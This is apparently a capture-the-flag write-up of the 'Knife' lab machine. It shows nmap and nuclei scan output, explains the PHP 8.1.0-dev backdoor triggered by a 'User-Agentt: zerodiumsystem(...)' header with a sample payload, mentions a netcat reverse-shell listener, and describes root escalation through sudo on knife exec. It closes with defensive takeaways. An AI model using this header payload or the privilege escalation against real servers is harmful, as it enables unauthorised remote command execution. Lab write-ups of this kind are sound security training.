Machine Information
- Platform: Linux
- Difficulty: Easy
- IP Address: 10.129.235.78
Initial Enumeration
Nmap Scan
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-10-15 14:09 CDT Nmap scan report for 10.129.235.78 Host is up (0.0099s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 3072 be:54:9c:a3:67:c3:15:c3:64:71:7f:6a:53:4a:4c:21 (RSA) | 256 bf:8a:3f:d4:06:e9:2e:87:4e:c9:7e:ab:22:0e:c0:ee (ECDSA) |_ 256 1a:de:a1:cc:37:ce:53:bb:1b:fb:2b:0b:ad:b3:f6:84 (ED25519) 80/tcp open http Apache httpd 2.4.41 ((Ubuntu)) |_http-title: Emergent Medical Idea |_http-server-header: Apache/2.4.41 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service Enumeration
Web Application
The web application appears to be a simple static site with no interactive features, parameters, or links. However, the server is running PHP 8.1.0-dev.
Vulnerability Discovery with Nuclei
__ _
____ __ _______/ /__ (_)
/ __ \/ / / / ___/ / _ \/ /
/ / / / /_/ / /__/ / __/ /
/_/ /_/\__,_/\___/_/\___/_/ v2.9.14
projectdiscovery.io
[INF] Current nuclei version: v2.9.14 (outdated)
[INF] Current nuclei-templates version: v10.3.0 (latest)
[INF] New templates added in latest release: 124
[INF] Templates loaded for current scan: 9149
[INF] Targets loaded for current scan: 1
[INF] Templates clustered: 1819 (Reduced 1698 Requests)
[apache-detect] [http] [info] http://knife.htb [Apache/2.4.41 (Ubuntu)]
[php-detect] [http] [info] http://knife.htb [8.1.0]
[tech-detect:php] [http] [info] http://knife.htb
[tech-detect:google-font-api] [http] [info] http://knife.htb
[INF] Using Interactsh Server: oast.live
[http-missing-security-headers:permissions-policy] [http] [info] http://knife.htb
[http-missing-security-headers:x-content-type-options] [http] [info] http://knife.htb
[http-missing-security-headers:cross-origin-embedder-policy] [http] [info] http://knife.htb
[http-missing-security-headers:cross-origin-opener-policy] [http] [info] http://knife.htb
[http-missing-security-headers:content-security-policy] [http] [info] http://knife.htb
[http-missing-security-headers:x-frame-options] [http] [info] http://knife.htb
[http-missing-security-headers:x-permitted-cross-domain-policies] [http] [info] http://knife.htb
[http-missing-security-headers:referrer-policy] [http] [info] http://knife.htb
[http-missing-security-headers:clear-site-data] [http] [info] http://knife.htb
[http-missing-security-headers:cross-origin-resource-policy] [http] [info] http://knife.htb
[http-missing-security-headers:strict-transport-security] [http] [info] http://knife.htb
[waf-detect:apachegeneric] [http] [info] http://knife.htb/
[missing-sri] [http] [info] http://knife.htb/
[php-zerodium-backdoor-rce] [http] [critical] http://knife.htb
Exploitation
PHP 8.1.0-dev Zerodium Backdoor
In March 2021, the PHP Git repository was compromised in a supply chain attack. Malicious actors inserted a backdoor into the PHP 8.1.0-dev version by modifying the zend_eval_string function to execute arbitrary code when a specific HTTP header (User-Agentt with double ’t’) contains the string zerodiumsystem().
The backdoor checks for a User-Agent header ending in zerodiumsystem('COMMAND'); and executes the command within the parentheses.
Example:
User-Agentt: zerodiumsystem('id');
This would execute the id command on the server.
I used a public exploit from GitHub:
Reverse Shell
In a second terminal, I set up a netcat listener:
ec24a7387e0cc98c99332edee7ebf065Post-Exploitation Enumeration
The user can run /usr/bin/knife as root without a password.
GTFOBins Reference: knife
Privilege Escalation
Knife Exec Command
The knife exec command allows executing Ruby code, which can be abused to spawn a shell:
c19040739347964c0bd63d2598f77706Loot
No credentials were required for this box - exploitation was achieved through the PHP 8.1.0-dev Zerodium backdoor, and privilege escalation through the knife CLI sudo permission.
Key Takeaways
- Supply Chain Attacks can compromise even trusted software repositories - the PHP 8.1.0-dev backdoor is a perfect example
- Development versions of software should never be deployed in production environments
- The User-Agentt header (with double ’t’) was the trigger for the backdoor - unusual HTTP headers should be monitored
- Knife CLI can execute arbitrary Ruby code with
knife exec, making it dangerous when run with sudo privileges - Always check for sudo permissions after gaining initial access - they often lead to privilege escalation